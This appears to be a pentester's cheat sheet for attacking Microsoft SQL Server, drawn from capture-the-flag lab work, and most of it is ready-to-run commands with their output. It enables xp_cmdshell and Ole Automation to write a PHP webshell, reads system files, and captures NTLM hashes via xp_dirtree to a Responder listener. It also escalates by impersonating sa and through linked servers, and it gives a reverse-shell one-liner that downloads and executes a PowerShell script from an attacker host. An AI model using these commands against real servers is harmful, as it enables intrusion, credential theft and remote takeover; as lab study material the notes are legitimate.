What are the default databases?

master: Keeps information for an instance of SQL server.

msdb: Used by SQL Server Agent.

model: Template used for other DBs.

resources: Read-only. Keeps system objects visible in every DBs on the server in sys schema.

tempdb: Keeps temporary objects for SQL queries.

Syntax

Show DBs:

1> SELECT name FROM master.dbo.sysdatabases
2> GO

Select DB:

1> USE users
2> GO

Show tables:

1> SELECT table_name FROM users.INFORMATION_SCHEMA.TABLES
2> GO

Select all data from table users:

1> SELECT * FROM users
2> go

Enumeration

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Bruteforce

Check whether creds found is valid on MSSQL:

“crackmapexec mssql manager.htb -u Desktop/user.txt -p Desktop/user.txt —no-brute —continue-on-success`

Interaction

Using impacket-mssqlclient, interact with the database:

mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth

Below are example interaction:

SELECT name FROM master.dbo.sysdatabases;
USE master;
select table_name from information_schema.tables;
SELECT COLUMN_NAME, DATA_TYPE, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, NUMERIC_SCALE from information_schema.columns where table_name = 'spt_fallback_db';

Command Execution

xp_cmdshell

xp_cmdshell is disabled by default.

For example:

1> xp_cmdshell 'whoami'
2> GO
 
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

Try xp_cmdshell and xp_dirtree:

xp_dirtree
xp_cmdshell
EXEC xp_cmdshell
EXEC xp_dirtree

If they are not enabled, try enabling them:

enable xp_cmdshell
 
EXEC sp_configure 'show advanced options', 1;
 
RECONFIGURE;
 
EXEC sp_configure 'xp_cmdshell', 1;
 
RECONFIGURE;

there are other methods to get CME such as extended stored proceduresCLR AssembliesSQL Server Agent Jobs, and external scripts.

Example CME

If there’s IIS running and xp_dirtree is enabled:

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

Write Local File

To write local file for CME, we need to have Ole Automation Procedures enabled (Needs Admin privilege).

How to enable:

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

Now that Ole Automation Procedures is enabled, let’s create a file:

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

by default, MSSQL allows file read on any file in the OS to which account has read access.

How to read local files in MSSQL:

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
 
BulkColumn
 
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
 
(1 rows affected)

Capture MSSQL Service Hash

We can steal MSSQL Service account hash using xp_subdirs or xp_dirtree.

Above two uses SMB protocol to retrieve a list of child directories.

To make this happen, we first need Responder or impacket-smbserver set up and execute following SQL queries.

Using xp_dirtree:

1> EXEC master..xp_dirtree '\\10.10.110.17\share\'
2> GO
 
subdirectory    depth
--------------- -----------

Using xp_subdirs:

1> EXEC master..xp_subdirs '\\10.10.110.17\share\'
2> GO
 
HResult 0x55F6, Level 16, State 1
xp_subdirs could not access '\\10.10.110.17\share\*.*': FindFirstFile() returned error 5, 'Access is denied.'

If the service account has access to the server, attacker will obtain its hash.

We can set up listening server as the following.

Set up responder:

sudo responder -I tun0

Set up impacket:

sudo impacket-smbserver share ./ -smb2support

User Impersonation

IMPERSONATE allows attacker to execute commands with another user permission.

Let’s first identify users we can impersonate:

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
 
name
-----------------------------------------------
sa
ben
valentin
 
(3 rows affected)

One liner:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

To make sure, let’s verify if the current user got the sysadmin role. Since the output is 0, we don’t have the role:

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
 
-----------
julio                                                                                                                    
 
(1 rows affected)
 
-----------
          0
 
(1 rows affected)

Let’s use EXECUTE AS LOGIN to impersonate sa:

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
 
-----------
sa
 
(1 rows affected)
 
-----------
          1
 
(1 rows affected)

We have successfully impersonated the sa user. Also make sure we impersonate user in the master DB since all users by default have the access to that DB.

To revert the operation and to return to the previous user, we use REVERT.

Even if the impersonated user is not sysadmin, still check for other DBs that user has.

Linked Server Interaction

MSSQL has a configuration option called linked servers.

Allows DB engine to communicate with other SQL server, or another DB product such as Oracle.

Administrators can configure linked server using credentials from the remote server. If the credentials have sysadmin privilege, we can execute commands in the remote SQL instance.

Let’s see if there’s linked servers. There is one remote server:

1> SELECT srvname, isremote FROM sysservers
2> GO
 
srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0
 
(2 rows affected)

Now let’s identify the user used for the connection and its privilege. We can see that the user sa_remote is being used for connection and it is the sysadmin:

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
 
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1
 
(1 rows affected)

We can now execute commands as the sysadmin privilege on remote server.

EXECUTE('SELECT * FROM OPENROWSET(BULK N''C:/Users/Administrator/Desktop/flag.txt'', SINGLE_CLOB) As Contents') AT [LOCAL.TEST.LINKED.SRV]

Reverse Shell

First check the privilege by typing in help:

Enable xp_cmdshell:

enable_xp_cmdshell & RECONFIGURE

To spawn reverse shell, prepare nishang’s Invoke-PowerShellTcp.ps1 on your attacking directory and start python HTTP server.

Using the command below, download and execute reverse shell script toward your Kali listener:

EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.17:8000/ps-rev.ps1") | powershell -noprofile'

Now on your local netcat listener, you have a shell:

Relay Attack

Follow this guide on Hacktricks.

First start Responder:

sudo responder -I tun0

Now on MSSQL connection, make a request to Kali’s responder:

xp_dirtree '\\10.10.14.17\home\yoon

Instantly, reponsder captures NTLM hash:

On Hacktricks, there’s more detailed guide on pentesting MSSQL.